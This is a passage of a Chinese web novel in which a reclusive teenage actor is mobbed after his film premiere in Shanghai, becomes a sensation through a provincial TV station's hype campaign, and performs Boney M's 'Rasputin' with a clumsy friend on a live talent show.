这时候罗山宗收购重庆大厦,虽是贷款,但翻新再出手,依然稳赚不赔。 裴文莹收回视线,低头吃饭。他们其实是同一类人,趁火打劫,低价抄底,这手段,跟她去年和顾飞羽在股市里抄底深蓝田简直如出一辙。 41. 第 41 章 虹桥机场的到达大厅里,人流如织,广播里用中英双语循环播报着航班起降的信息。 裴文韬和刘杰搭乘飞机抵达上海。两个孩子都未成年,大哥不放心,就放下了文印店的生意,陪他们一起去。跟他们一起去的,还有刘杰的表哥。 四个人的组合在这座精致摩登的城市里显得有些突兀——两个神情紧张、生怕弄丢了弟弟的土味年轻人,一个东张西望、兴奋得像齐天大圣出花果山的刘杰,以及一个仿佛对周遭一切都丧失了感知力的裴文韬。 “老韬,你看到没有?那是东方明珠!”出租车驶过高架桥时,刘杰趴在车窗上,指着远处刺破天空的塔尖,声音里透着抑制不住的亢奋。 裴文韬只是微微偏过头,顺着刘杰的手指看了一眼,淡淡地“哦”了一声。他把头靠在车窗玻璃上,耳朵里塞着随身听的耳机。 抵达剧组安排的酒店后,一切便脱离了他们原本的生活轨迹。 几乎没有给他们喘息的时间,剧组的工作人员便敲开了房门。几个小时后,在首映礼后台的化妆间里,裴文韬被迫换上了一套由剧组品牌赞助的黑色修身西装,还被强行做了造型。 造型师是个留着长发的中年男人,原本漫不经心地拿着梳子,但在端详了裴文韬的脸几秒钟后,他的动作停顿了。那是一张极具骨相美的脸,面部轮廓干净利落,没有一丝多余的线条。眉骨微凸,眼窝深邃,尤其是那双眼睛,黑白分明,透着一种与年龄极不相符的漠然与清冷。 “这骨相……绝了。”造型师喃喃自语,最终放下了手里那些定型工具,只是简单地理了理裴文韬略显细碎的前发,保留了那种介于少年稚气与成年冷峻之间的原生质感。 首映礼的红毯铺设在上海影城外。星光熠熠,人声鼎沸。 这本是一场属于成年人的名利场。记者们的长枪短炮如同丛林中伺机而动的猛兽,闪光灯交织成一片刺目的白昼。当电影的男女主角——那些已经在国内影视圈摸爬滚打多年、深谙生存法则的明星们踏上红毯时,人群中爆发出海啸般的欢呼。 裴文韬就走在主创团队的最后面。他像一个不小心闯入成人宴会的旁观者。 没有人在意他。前期的宣发资源昂贵,全都精准用在了男女主角的身上。没有人知道这个穿着黑西装、气质清冷的少年是谁。 他走在红毯边缘,脚步不疾不徐,眼神没有在任何一个镜头上停留。他像一抹影子,安静地滑过了这段原本应该被无数人铭记的道路。 这恰恰是裴文韬最想要的状态。 在随后的主创见面会上,他被安排在台侧最边缘的位置。镁光灯聚焦在舞台中央,导演和主演们妙语连珠,分享着长达数月的艰苦拍摄、对角色的深刻体悟,以及剧组里那些被精心粉饰过的温情故事。 轮到裴文韬时,观众也不知道这个明显看起来是少年的人是干什么的,前期宣传也没有他,突然冒出来说是小演员,一时有点反应不过来。 为了避免冷场,主持人抛出了一个极其安全且套路化的问题:“这位小演员,能和大家分享一下,在这么大制作的剧组里拍戏,最大的感受是什么吗?” 台下的记者们纷纷放下了相机,有的开始低头换胶卷,有的在笔记本上涂抹。在他们看来,这不过是流程中无足轻重的一环,一个小配角的过场戏。 裴文韬接过麦克风,麦克风的金属外壳冰凉。他抬起眼,目光越过刺眼的追光灯,看向虚空中某一个不存在的点。 “等待。”裴文韬的语气里没有任何情绪的波澜,“等待开机,等待收工。等待吃饭。” 惜言如金。 没有感谢导演,没有诉说辛苦,也没有表达对艺术的崇高追求。 主持人尴尬地笑了笑,迅速将话题切回了男主角身上。 裴文韬放下麦克风,重新退回到自己的阴影里,仿佛刚才的对话从未发生。平淡地走完流程,完成姐姐交代给他的任务,这就是他此行唯一的目的。 他以为事情就会这样波澜不惊地结束。但他低估了电影这门艺术的残酷与公平,也低估了某种被称之为“天赋”的东西,在黑暗的放映厅里所能爆发出的核裂变般的能量。 首映礼的喧嚣退去,放映厅的灯光骤然熄灭。巨大的银幕亮起,属于《汉武大帝》的厚重历史画卷徐徐展开。 这是一家拥有千人座位的顶级影厅。裴文韬和刘杰坐在靠后的位置。刘杰已经兴奋得手心出汗,而裴文韬则靠在椅背上,呼吸平稳,像是在看一部与自己毫不相干的纪录片。 电影的前半场,基调沉郁而宏大。成年演员们用精湛的演技,勾勒出汉廷内部的波谲云诡。观众们被剧情深深吸引,放映厅里只有电影的原声。 直到电影进行到四十分钟。 剧情推进到了那个决定帝国命运的转折点。深宫之中,老皇病重,权臣环伺,未央宫充满算计与杀机。 镜头从恢弘的宫殿全景,缓缓推向了一扇沉重的朱漆大门。 大门被推开,发出沉闷的吱呀声。一束惨白的天光从门缝中泄露,打在了一个少年的身上。 那是裴文韬饰演的少年刘彻。 大银幕是极其苛刻的,它会放大每一个微小的表情,也会暴露每一分眼神的空洞。但在那一刻,全场观众的呼吸仿佛都停滞了。 银幕上 的少年,穿着玄色的锦缎常服,没有任何华丽的配饰。他的脸庞依然保留着属于那个年纪的柔美与稚气,面部轮廓的每一根线条都犹如工笔画般行云流水。但他身上的气质,却与这张年轻的脸产生了极其强烈的、令人窒息的冲突感。 他没有说话。只是微微扬起下颌,一回头,一抬眼。 那个眼神,深沉如古井,阴郁如寒冰,却又在最深处燃烧着桀骜不驯的野火。这是一种混合了天生贵气与权力欲望的复杂神态。少年的阴郁冷傲和天子的贵气,扑面而来。虽是乳虎啸谷,亦能令百兽震惶。 一回头,一抬眼,一挥袖,清冷霸气,不怒自威。 颜值高、气质佳,满足了观众对少年帝王的全部幻想。 “天呐……”前排的一位女记者忍不住捂住了嘴,发出极低的惊呼。 在随后的戏份中,少年刘彻展现出了令人战栗的统治力。面对居心叵测的臣子,他举重若轻,嘴角挂着一抹似有似无的冷笑;面对病榻上的父王,他眼中闪过一丝悲悯,但转瞬便被睥睨天下的冷酷所取代。 这些原本互相矛盾的特质——深沉与意气风发,阴郁与光明,纯真与残忍,在这个未经过任何科班训练的少年身上,奇迹般地达到了和谐的统一。他不需要刻意去“演”一个帝王,他站在那里,就是那个注定要将大汉帝国的版图推向极盛的少年天子。 观众越看越心惊,越看越沉迷。那些原本在红毯上对他视而不见的目光,此刻在黑暗中被彻底点燃。 电影结束,片尾曲苍凉的旋律响起。放映厅的灯光骤然亮起,犹如大梦初醒。 寂静维持了短短几秒钟,随后,掌声如雷动般爆发。但更令人始料未及的,是随之而来的失控。 “那个演少年皇帝的是谁?!他在哪儿?!” 不知道是谁喊了一句,原本准备有序离场的观众,尤其是那些年轻的女影迷和敏锐的媒体记者,突然像潮水一般改变了方向,疯狂地向前排涌来,要他签名合影。 裴文韬还坐在位子上,看着那些向他扑来的人群,眉头微微皱起。他无法理解这种突然的转变。几分钟前,他还是一个隐形人;现在,他成了这群人眼中的猎物。 “麻烦让让!请让一让!” 剧组的工作人员最先反应过来。几个膀大腰圆的安保人员迅速冲了过来,在裴文韬周围勉强筑起了一道人墙。 “给我签个名吧!就签在海报上!”“你是哪家公司的?你叫什么名字啊!”“看这边!笑一下!” 闪光灯像暴雨般砸向他,几乎要晃瞎他的眼睛。无数只手挥舞着电影的宣传册和记号笔,试图突破安保的防线触碰到他。 42. 第 42 章 “老韬,快走!”刘杰此时也意识到了情况不对,他试图拉住裴文韬的手腕往外挤。 但人群的推搡力大得惊人。刘杰脚下一滑,脚踝传来一阵剧痛。他踉跄了一下,险些被汹涌的人潮踩在脚下。幸好大哥裴文龙眼疾手快,一把揪住刘杰的衣领将他提了起来,同时用宽阔的后背死死顶住向前挤压的粉丝。 “别挤了!别挤了!往后退!”安保人员声嘶力竭地吼叫着,护送着裴文韬和刘杰,像是一艘在暴风雨中随时会倾覆的小船,跌跌撞撞地向影院的员工通道逃去。 当那扇沉重的防火门终于在他们身后关上,将所有的喧闹和疯狂隔绝在外时,裴文韬靠在冰冷的墙壁上,胸口微微起伏。 他的额头上渗出了一层细密的汗珠。他看着惊魂未定的刘杰,还有因为护着他们而被扯坏了袖口的大哥,一种深刻的荒谬感涌上心头。 这不是他要的世界。 第二天,上海下了点小雨,灰蒙蒙的天空将整座城市笼罩在一层迷离的水汽中。 剧组包下的宾馆楼层,走廊里静悄悄的。但如果站在窗边拉开一条窗帘的缝隙,就能看到酒店楼下的大堂和外面的街道上,三五成群地聚集着举着雨伞的年轻女孩。更有几辆贴着媒体标志的面包车,长久地停在路边,像是在蛰伏等待着猎物。 剧组的统筹下达了死命令:裴文韬和刘杰绝对不能踏出房门半步。外面全是闻风而动的粉丝和娱乐记者。剧组原本只把裴文韬当作一个彩蛋,如今这个彩蛋炸出了核弹的威力,他们必须小心翼翼地保护这棵突然长成的摇钱树,直到明天下午那场在体育馆举办的“马拉松万人签名活动”结束。 房间里,刘杰右脚缠着厚厚的绷带,靠坐在床上。他的眼神依然处于一种近乎迷离的震撼中。从昨晚到现在,他已经把同样的话翻来覆去说了不知道多少遍。 “老韬……”刘杰咽了一口唾沫,看着坐在落地窗前的裴文韬,“我到现在还是觉得像在做梦。电影里那个人,真的是你吗?你怎么那么会演呢?你怎么到了电影里就跟换了个人似的……” 裴文韬没有理他。 他穿着一件极其普通的白色T恤和宽松的运动裤,盘腿坐在地毯上。头上戴着一副硕大的黑色头戴式耳机,隔绝了刘杰的碎碎念。 出来好几天了,要不是有他哥和刘杰一直在陪他,他真要疯。从来没有被那么多人围观过,从来没有被那么多大灯照过,也从来没有被那么多摄像机和摄影机拍过,他觉得自己像被妖精吸走了魂一样,现在是没有感情的丧尸。 他想回家,他想找他姐,还有他的小狗裴四,现在被寄养在丁大湖那里,也不知道过得好不好。湖哥是个糙人,自己都管不好,怎么管好他的小狗。 闭上眼睛,他就想起首映礼上观众的疯狂围堵。 睁开眼睛,他的每根神经都在突突跳。 太可怕了,这根本不是他想要的生活。 他真应该听姐姐的话,好好上学。 他摘下耳机,转过头,看着还在那里喋喋不休、畅想着“以后我要当你的头号经纪人”的刘杰。 “刘杰。”裴文韬的声音很轻:“你以后要是再敢让我抛头露面,我就揍死你,给多少钱都不行。” 刘杰看着他那张没有表情的脸,默默地把伸到半空的手缩了回来,咽了咽口水,乖巧地闭上了嘴。 第三天,上海的雨停了。 按照剧组原本的企划,这只是一场名为“马拉松万人签名”的常规宣发活动,地点设在市中心的一座体育馆附馆。在那个缺乏大数据分析和社交媒体实时热搜的年代,剧组的宣发团队完全错估了纸媒传播的速度,以及《汉武大帝》首映后在长三角地区引爆的口碑效应。 清晨七点,当剧组的大巴车载着裴文韬等人驶近体育馆时,连见多识广的副导演都倒抽了一口凉气。 广场周围已经围满了上千人,熙熙攘攘的人群几乎把现场的每个角落都填满。 剧组的工作人员和保安队员面面相觑,完全没有预料到会有这么多人涌入。他们迅速调集人手,试图维持秩序,但仍然无力阻止人潮汹涌。 人们的手里举着刚刚印制出街的《都市快报》和电影海报,纸张在晨风中发出哗啦啦的声响,汇聚在一起,像是一场即将席卷而来的风暴。 “这……这全是冲着他来的?”刘杰贴在车窗上,连脚踝的疼痛都忘了,声音微微发颤。 大巴车在安保人员的拼死疏导下,艰难地驶入地下车库。 随着时间的推移,外面的气温逐渐升高,人群的耐心也在被消耗。当场馆的玻璃门打开,允许前排粉丝入场时,原本勉强维持的秩序瞬间崩塌。脚步声、呼喊声如同决堤的洪水。 人们互相推搡着,年轻女孩们的脸上带着一种近乎献祭般的狂热,她们恳求着维持秩序的工作人员:“能不能先让我进去?我坐了一夜的火车从外地赶过来的!” 转播车里,对讲机里的杂音和吼叫声此起彼伏,几乎要刺穿人的耳膜。 “一号门快顶不住了!保安呢?调人过来!” “二楼看台有人差点挤翻围栏,让主角先别出来!” 电视台前来跟访的工作人员也被眼前的阵仗震慑住了。镜头扫过去,广场就像一片沸腾的汪洋。前排的粉丝嗓子已经喊得嘶哑,而后排的呼喊声却如海浪般一波波推向高潮:“裴文韬!裴文韬!” “不能等了,越等越容易出踩踏事故,必须让他出去露个面安抚一下。”导演当机立断,转头看向坐在角落里的少年。 裴文韬站起身。他今天没有穿剧组准备的华服,只是换回了自己的衣服——白衬衫加黑色长裤。</ p>他面无表情地跟着工作人员,穿过幽暗的走廊,走向侧门的通道。 当他的身影出现在侧门光影交界处的那一瞬间,整个体育馆仿佛被抽干了空气。短暂的、不到半秒钟的死寂之后,是一阵几乎要掀翻穹顶的尖叫声。 围栏在人群的挤压下快要扭曲。前排的保安被硬生生推得向后滑行,几十个记者的相机闪光灯连成了一片光海。 裴文韬站在那里,冷眼看着眼前失控的一切。他没有挥手,没有微笑,只是静静地注视着这群为他疯狂的陌生人。在那一刻,他仿佛真的抽离了这具年轻的躯壳,变成了那个站在未央宫台阶上,冷漠俯视众生的少年帝王。 “不行!撤!马上撤!围栏要断了!” 副导演声嘶力竭地喊道,一把抓住裴文韬的胳膊,将他猛地向后拉去。 人群如同失控的洪流,眼看就要冲破最后的防线。在这千钧一发之际,安保主管果断做出了决定,指着后台尽头的一堵围墙:“走正门肯定出不去了,让他翻墙走小巷子!” 裴文韬被一群人簇拥着狂奔。风吹起他的白衬衫,他没有犹豫,踩着安保人员托起的手掌,纵身一跃。 他的动作轻盈而决绝,双手攀住粗糙的水泥墙头,腰部一发力,修长的双腿在空中划过一道利落的弧线,稳稳地落在了墙外的青石板巷子里。 一墙之隔。 墙内,是震耳欲聋的哭喊声,有女孩因为没有拿到签名而抱头痛哭,人群像无头苍蝇般冲向四面八方寻找他的踪迹。那是一场属于世俗名利的最狂热的盛宴。 而墙外,小巷幽静,几片梧桐叶在青石板上打着旋儿。 裴文韬拍了拍手上的灰尘,理了一下白衬衫的衣角。他没有回头看一眼那堵墙,顺着安静的巷子,朝着大哥和刘杰提前等候的出租车方向走去。 这场原本应该载入史册的万人签售会,就这样被他以一种近乎荒诞的“逃亡”方式,干脆利落地抹去了。 接下来的几天,没有热搜,没有短视频,但这丝毫不影响裴文韬的名字以一种病毒裂变般的速度火遍大江南北。 街角的每一个报纸摊上,《都市快报》扥无一例外地将他作为头条。报纸上印着他在侧门出现时的那张抓拍:白衬衫黑裤子,清俊阴郁。标题赫然写着:“少年天子降临!裴文韬:美貌与才华并存的偶像传奇” 长三角一带的城市里,出现了一种奇特的景象。成群结队的年轻女孩,穿着校服或者碎花裙,骑着自行车穿梭在上海和杭州的大街小巷。她们没有确切的目的地,只是根据报纸上走漏的一点点行程蛛丝马迹,执着地追寻着。 在这个信息并不发达的纯真年代,她们用最笨拙也最浪漫的方式,试图去触碰一颗刚刚升起的星辰。 而此时的裴文韬,已经坐上了南下回湘省的火车。 43. 第 43 章 千里之外。湘省电视台总部大楼。 总编室里灯火通明,烟灰缸里塞满了烟蒂,空气中弥漫着一种因为极度兴奋而产生的焦灼感。《中学生风采大赛》的主创团队、广告部主任、宣传部负责人,乃至电视台的副台长,此刻都紧紧盯着会议室尽头的那个大屏幕。 屏幕上,正在播放着加急从上海送来的《汉武大帝》首映礼剪辑带,以及裴文韬在电影中的精彩片段。 画面定格在少年刘彻端坐龙椅、睥睨天下的那一幕。 “砰!”总导演猛地一拍桌子,震得桌上的茶杯水花四溅。他的眼睛里布满了红血丝,那是熬了两个大夜的痕迹,但眼神却亮得吓人。 “就是他?这是我们在晋级赛里拍到的那个裴文韬?”副台长激动地再三确认。 “千真万确。”总导演深吸了一口气,仿佛在压抑着内心的狂喜,“这小子不仅在电影里演活了汉武帝,你们知道他在我们的比赛里干了什么吗?” 屏幕画面切换。那是几周前,尚未播出的《中学生风采大赛》上半场。镜头里的裴文韬,同样穿着白衬衫,面对着全场带着审视意味的目光,用一种标准美式发音,背诵出了卡尔·萨根的《暗淡蓝点》。 两种截然不同的影像,在这一刻形成了极其强烈的冲击——一个是主宰天下的孤傲帝王,一个是仰望宇宙的清冷学神。 副台长猛地一拍桌子,声音洪亮。 “还愣着干什么?给我宣传!给我狠狠地炒!这已经不是普通的爆点了。这是一个全国级别的现象级奇迹!各位,我们湘省电视台,一直想要打造一个能辐射全国的标杆栏目,现在,一把最好的牌就捏在我们手里!” 于是,湘省电视台这座庞大的娱乐宣传机器开动了。 当天晚上,湘省台晚间黄金时段的新闻节目,破天荒地拿出了整整三分钟的时间。 资深的新闻主播用一种极其少见的、略带激动的语调播报:“近日,我国影坛出现了一位横空出世的天才少年演员。你或许还没有记住裴文韬这个名字,但你一定会被他在《汉武大帝》中饰演的少年刘彻所震撼。而更令人骄傲的是,这位少年,正是来自我们湘省旗山县的一名普通中学生!” 屏幕上,开始滚动播放经过精心剪辑的宣传片。 这是裴文韬在《汉武大帝》整部影片最后几个镜头,也是经典镜头:父王牵着他的手,只为看一眼少年刘彻坐上王位的样子。他坐在龙椅上,那种睥睨天下的王者气概,让无数人心潮澎湃。 紧接着,画面切换到了中学生风采大赛的舞台上,他穿着一件简单的白衬衫,面对主持人轻飘飘地背诵出《暗淡蓝点》的那一幕。以及电视台赛后采访亲友团同学的花絮片段:刘杰对着记者的镜头,亲口承认,裴文韬是县一中的学神,常年稳居年级第一名宝座。 这种反差被电视台的剪辑师运用到了炉火纯青的地步,精准地踩中了那个年代观众对于完美偶像的所有幻想——他不仅有惊为天人的皮相,更有碾压众人的智商与才华。 电视机前的观众彻底被点燃了。成千上万的观众开始疯狂打电话进电视台:“裴文韬的下半场什么时候播?” “他会不会再表演什么更炸裂的才艺?” “求求你们重播一遍他背英语的那段吧,我女儿哭着说没来得及录下来!” “拜托!一定要让他出道!” 邮政局的绿色邮车每天都会在电视台楼下停靠,从最初的一个邮包,变成后来的一整车。成千上万封来自全国各地的信件,用各种颜色的信封包裹着,寄给“中学生风采大赛节目组转裴文韬收”。信件和五花八门的礼物,堆满了电视台一楼整整三个空置的储藏室,连走廊上都散发着信纸上喷洒的香水味。 电视台总编室紧急开会,调集所有资源,铺天盖地地推出关于裴文韬的宣传报道—— 湘省广播电台连夜制作特别节目,请来了《汉武大帝》的导演,导演在节目里毫不掩饰地夸赞:“裴文韬是个天生的演员,他的眼神里有种少年的狂傲,又有帝王的沉稳。他以后绝对是顶级巨星。” 全省各大城市的商场门口、广告牌,都贴满了裴文韬的照片,旁边印着醒目的大字——“万人空巷!期待中学生风采大赛下半场!” 《湘省日报》头版直接刊登了一张裴文韬的高清特写,标题简单粗暴——“现象级美少年,未来巨星!”,《青少年文摘》甚至破天荒地推出了“美少年特别专刊”,头条人物就是裴文韬。 湘省电视台的黄金广告时段,不管是电视剧中插广告,还是天气预报前,都能看到一条固定宣传语—— “两周后!中学生风采大赛下半场!全国瞩目!你,准备好了吗?” 短短三天,湘省 电视台的观众热线彻底崩溃了。原本只配置了两条线路的小型电话接线室,如今扩展到了二十条线路,依旧不堪重负。无数来电,都是冲着裴文韬来的—— ——“我们全家老小都等着他下半场了,求你们赶紧播!” ——“求求你们,让他再说一次英语,真的太苏了!” 而在这场狂欢中,最敏锐的永远是资本。 电视台广告部的大门几乎被各大品牌的区域经理踏破。 “王主任,我们品牌愿意出双倍的价格,买下半场比赛的中插广告!” “不行,这个时段我们要了!价格你们随便开!” “冠名费招商价格要马上翻倍!”导演下令。 “疯了……真的疯了……”广告部主管看着桌上堆积如山的合同,手都在发抖,“这可是我们电视台从未有过的奇迹!” 最终,湘省最知名的白酒品牌“湘水大曲”,以一个在当时看来简直是天价的数字,一举拿下了总决赛下半场的独家冠名权。下半场的节目预告片开头将直接打出宣传语——“中学生风采大赛下半场,湘水大曲独家观摩赞助!与您一同见证传奇!” 中学生风采大赛下半场还未播出,湘省已经彻底被裴文韬的热度席卷。 所有的期待值,如同被不断压缩的弹簧,被强行拉到了极限。 然而,在这个被狂热包裹的漩涡中心,节目组的高层却在策划着一场更加刺激的心理战。 他们知道,观众想看神坛上的裴文韬,但更想看这个似乎无所不能的学神、影星,在某个瞬间跌落凡尘的真实模样。只有悬念和不确定性,才能将收视率推向绝对的巅峰。 于是,在决赛前夕,导演组秘密修改了下半场的规则。他们宣布了一项毫无预兆的赛制: “下半场的终极才艺展示,所有选手,必须演唱一首歌曲!” 这条规则一出,舆论哗然。 谁都知道,裴文韬在此前的所有表现中,从未展露过任何与音乐相关的天赋。他惜字如金,连多说一句话都不愿意,更何况是在万人瞩目的舞台上开口唱歌? 这是导演组刻意为之的“刁难”。 他们要的就是这种悬崖走钢丝般的刺激感——这位被推向神坛的美少年,究竟是会用歌声再次征服世界,还是会在全国观众面前,迎来一场史诗级的灾难翻车? 44. 第 44 章 万众瞩目中,两周的时间转瞬即逝。 湘省电视台一号演播大厅。 距离直播开始还有半个小时,八百个观众席座无虚席,连过道里都挤满了通过各种关系拿到通行证的媒体记者和狂热粉丝。 穹顶之上,巨大的摇臂摄像机像钢铁巨兽般安静地蛰伏,等待着捕捉即将发生的一切。 而在后台的选手候场区,气氛紧张。 “老韬……”刘杰坐在折叠椅上,紧张得双腿不受控制地抖动,他压低声音凑到裴文韬耳边,“你到底练了没有?你选的哪首歌?我跟你认识这么久,连你哼哼调子都没听过,你……你行吗?” 裴文韬靠在墙角,闭着眼睛,长长的睫毛在眼睑下方投出一片安静的阴影。 听到刘杰的话,他连眼皮都没有抬,只是用一种极其平淡的语气说道:“不行。” “那完了!”刘杰倒吸一口凉气,捂住脸痛苦地哀嚎,“导演组这群老狐狸就是故意的!他们知道你不会唱歌,这是要把你架在火上烤啊!” 周围几个原本就对裴文韬的爆红心存嫉妒的选手,听到这番对话,纷纷交换了几个幸灾乐祸的眼神。 “原来学神也有短板啊。” “就是,长得好看有什么用,上了台五音不全,看他这回怎么圆场。” 裴文韬依然没有任何反应,仿佛置身事外。 晚上八点整。直播倒计时的声音在演播厅上空响起。 “五、四、三、二、一!切机位!” 伴随着激昂的开场音乐,灯光如同白昼般亮起。《中学生风采大赛》总决赛下半场,正式拉开帷幕。 按照抽签顺序,选手们逐一登台。 这次的抽签根本没有悬念。导演组暗箱操作,强行将裴文韬按在了最后一个出场的位置。 整整两个小时过去。就在现场观众因为漫长的等待而开始感到焦躁,电视机前的收视率曲线即将突破电视台历史最高峰值的时刻—— “下面,让我们有请本场比赛的最后一位选手,也是大家期待已久的——裴文韬!” 话音未落,演播大厅内瞬间爆发出排山倒海的欢呼声与尖叫声。这声浪之大,让评委都吓了一跳。 裴文韬从舞台侧方的阴影中缓缓走出。 他依然穿着那件标志性的白衬衫,在刺目的追光灯下站定,眉头极其轻微地皱了一下。 他的反应,那种真实的、带着一点点厌世和茫然的清冷,反而让台下的观众更加疯狂。 主持人敏锐地捕捉到了这种反差,试图在正式表演前挖出更多爆点。 “文韬,最近由你参演的《汉武大帝》正在热映,少年刘彻这个角色征服了无数人。回顾这段拍摄经历,你最大的感受是什么?” 台下的观众屏住呼吸,期待着他能说出一段关于梦想与汗水的励志发言。 裴文韬拿起麦克风,停顿了一秒,开口道:“很累。再也不想演戏了。” 全场愣住。主持人准备好的励志话术瞬间卡在了喉咙里,她尴尬地笑了两声,迅速转换赛道:“呃……文韬真是个诚实的孩子。那你知道吗,现在全国有成千上万的观众喜欢你,电视台收到的信都要用麻袋装。面对这么多支持你的粉丝,你有什么想说的吗?” 这是一个绝对的送分题。 裴文韬认真地想了想,对着镜头,极其端正地吐出两个字:“谢谢。” 主持人举着话筒的手僵在半空,不死心地追问:“嗯……还有呢?” “谢谢大家。” 一片寂静。紧接着,演播厅里爆发出一阵震耳欲聋的爆笑声。 评委们也忍不住笑了起来。这种毫无矫饰的真诚,这种“我站在这里只是因为任务”的松弛感,在充斥着刻意表演的娱乐圈里,简直就是一股泥石流般的清流。 但是,笑声过后,真正的考验降临了。 “好了,文韬,接下来就是决定胜负的终极才艺展示环节。”主持人的神色变得严肃起来,“请问,你今晚要为我们带来一首什么歌曲?” 所有人的心都提到了嗓子眼。 裴文韬没有立刻回答。他安静地站在舞台中央,视线在台下的评委、观众,以及摄像机镜头上扫过,最终落在了一个方向。 他微微侧过头,问主持人:“我可以选一个人上台帮我吗?” 主持人愣住了。赛制里并没有这个规定。她的耳机里立刻传来了总导演的指令:“答应他!不管他要干什么,答应他!机位给我推近景!” “当然可以。”主持人微笑着退后一步。 全场一阵骚动,所有人都顺着裴文韬的目光望去。 他在看亲友团的席位。 “刘杰,上来。” 声音不大,却通过麦克风清晰地传遍了每一个角落。 整个演播厅陷入了短暂的诡异安静,随后,就像往滚烫的油锅里滴入了一滴水,瞬间炸开了锅。 “刘杰?就是那个初赛的时候穿得像只花孔雀,跳舞还同手同脚的刘杰?!” “卧槽!他疯了吗?选个王者带青铜就算了,他这是青铜带废铁啊!” 镜头迅速切向了亲友团席位。 刘杰正拿着一瓶矿泉水往嘴里灌,听到自己的名字,一口水差点喷出来。他满脸惊恐地指着自己的鼻子,嘴型夸张地比划着:“我?你叫我?!” 裴文韬看着他,眼神平静得没有一丝波澜,只是重复了一遍:“是的,你上来。” 刘杰的内心仿佛有一万头神兽呼啸而过。但在这万众瞩目之下,属于小镇少年的那种“兄弟义气”战胜了恐惧。他咬了咬牙,把矿泉水瓶一摔,大义凛然地冲上了舞台,仿佛那是去赴死的刑场。 “行!老韬,是我作的死,丢脸也要作完!”刘杰视死如归地站在裴文韬身边。 “不会丢脸,你就跳你平时跳的那个霹雳舞就行。”裴文韬说道。 刘杰茫然地看着他,他们俩从来没有一起唱过歌跳过舞啊! 裴文韬已经不说话了。 主持人看着这没有默契的兄弟组合,忍住笑意问道:“那么请问,你们要表演什么曲目?” 裴文韬举起话筒,薄唇轻启,吐出了一个名字。 “《Rasputin》。” 这个词一出来,底下的观众更是一头雾水。 “什么斯普丁?这是什么歌?有这首歌吗?” 刘杰更是绝望地闭上了眼睛。他不仅没听过这首歌,连这个单词怎么拼都不知道。哪个霹雳舞也没用过这首歌啊——踩不中节奏怎么办? 舞台的灯光瞬间熄灭。整个演播大厅陷入了绝对的黑暗。 全场屏息。 “咚——咚——咚!” 强烈的、带着极其浓郁异域风情的俄罗斯巴拉莱卡琴和重低音鼓点,毫无预兆地在黑暗中炸响! 那是极具七十年代复古气息的迪斯科舞曲节奏,狂野、奔放、带着一种让人无法抗拒的律动感。 懂音乐的评委在听到前奏的瞬间,脸色大变。这是BoneyM乐队的经典神曲!一首节奏快到烫嘴、歌词里还夹杂着大量“虎狼之词”的英文迪斯科舞曲! 他一个从没学过唱歌的农村中学生,居然敢在这种场合挑战全英文舞曲?! 舞台中央,一束惨白的追光“啪”地一声打下,直直地罩在裴文韬身上。 鼓点落下,裴文韬拿起话筒。 “TherelivedacertainmaninRussialongago…”(很久以前,俄罗斯有个传奇男子……) 第一句歌词出口,全场瞬间被一种无法形容的战栗感击中。 旋律似曾相识,有人喃喃地说:“这不就是《我的心上人》吗。。。。” 裴文韬的声音低沉、醇厚,带着属于少年的磁性,但最令人震惊的,是他的发音。那是一种极其标准的美式发音,完美地卡在强烈的鼓点上。</p >“Hewasbigandstrong,inhiseyesafmingglow…”(他高大强壮,双眼燃烧着熊熊□□……) 这哪里是五音不全?这简直是开口跪! 观众们瞪大了眼睛,被这种极度的高级感所折服。 然而,就在这份高级感即将把裴文韬推向另一个神坛的时候,一旁的刘杰动了。 在这狂野的迪斯科节奏刺激下,刘杰那被压抑已久的舞蹈基因彻底觉醒。因为完全没有排练过,他只能凭借着本能,开始疯狂地甩动手臂,扭动腰肢,甚至还加入了一些极其复古的“擦玻璃”和“老年迪斯科”的动作。 他跳得毫无章法,甚至有点同手同脚,在舞台上呈天魔乱舞之态。 因为动作幅度太大,在一个极其夸张的转身后,“砰”的一声,刘杰还重重地撞在了裴文韬的肩膀上! 裴文韬踉跄着差点摔倒,刘杰紧张得还扶了他一把。 全场观众先是一愣,随即爆发出哄堂大笑! “哈哈哈哈哈哈!我不行了!这到底是什么神仙组合!” “那是来伴舞的吗?那是来拆台的吧!” 但令人叹为观止的是,被撞击的裴文韬晃动了一下身子,表情依然清冷。他稳稳地站在原地,深吸一口气,迎来了整首歌最炸裂的副歌部分。 “Ra-Ra-Rasputin,loveroftheRussianqueen!”(拉!拉!拉斯□□!俄国皇后的情人!)“Therewasacatthatreallywasgone…”(即使走漏风声也毫不在意!) “RaRaRasputin,Russia’sgreatestlovemae…”(拉!拉!拉斯□□!俄国最伟大的爱情机器……) 这是一段节奏极其紧凑、需要极强肺活量和转音技巧的段落。 裴文韬完全放开了。他依然没有什么多余的肢体动作,只是单手握着麦克风支架,微微仰起头。他的声音在副歌部分展现出了惊人的爆发力,甚至在尾音处带着一种漫不经心的、性感的沙哑。 那是与他在《暗淡蓝点》中仰望宇宙的孤寂截然不同的力量,也是与《汉武大帝》中睥睨天下的冷酷截然不同的野性。 评委席上,一位评委激动地抓住话筒:“这孩子的英文发音……非常好听” 另一位评委深吸一口气,忍不住感慨:“简直令人惊喜!” 而他身边,刘杰已经彻底放飞自我。他现在什么也不想,脑子里只有一个念头:自己画的饼,跪着也要吃完。何况这饼除了丢人一点,还不难吃——丢人也是自己学艺不精,现在属实是被朋友带飞,要争气一点。 再说了,黑红也是红!只要自己不尴尬,尴尬的就是别人!他豁出去了! 极度的高级与极度的土味,清冷的学神与疯狂的伴舞,在这一刻,在这首狂野的俄罗斯风情舞曲中,形成了中国电视史上最荒诞、却又最令人热血沸腾的奇观。 懂英语的评委们捂住脸,不忍直视那些“lovemae”之类的虎狼之词,但他们的身体却不受控制地跟着节奏在椅子上扭动。 电视台的字幕机没有翻译这些词汇,只能打出干巴巴的英文单词,这也阴差阳错地避免了节目以后被审查部门抓典型的命运。 “Itwasashamehowhecarriedon——!” 当最后一个充满力量的长音在演播厅上空回荡,伴奏音乐戛然而止。 刘杰保持着一个极其滑稽的金鸡独立的姿势定格在原地,气喘吁吁,大汗淋漓。 而裴文韬,安静地放下话筒,微微低下了头。 全场一片安静。 一秒。两秒。三秒。 “轰——!!!” 掌声、尖叫声、口哨声、甚至是激动的跺脚声,汇聚成一股能够将演播大厅屋顶掀翻的声浪,排山倒海般砸向舞台。 45. 第 45 章 1991年8月,深城这座刚刚从渔村破茧而出的城市,正处于一种近乎野蛮的生长狂热中。 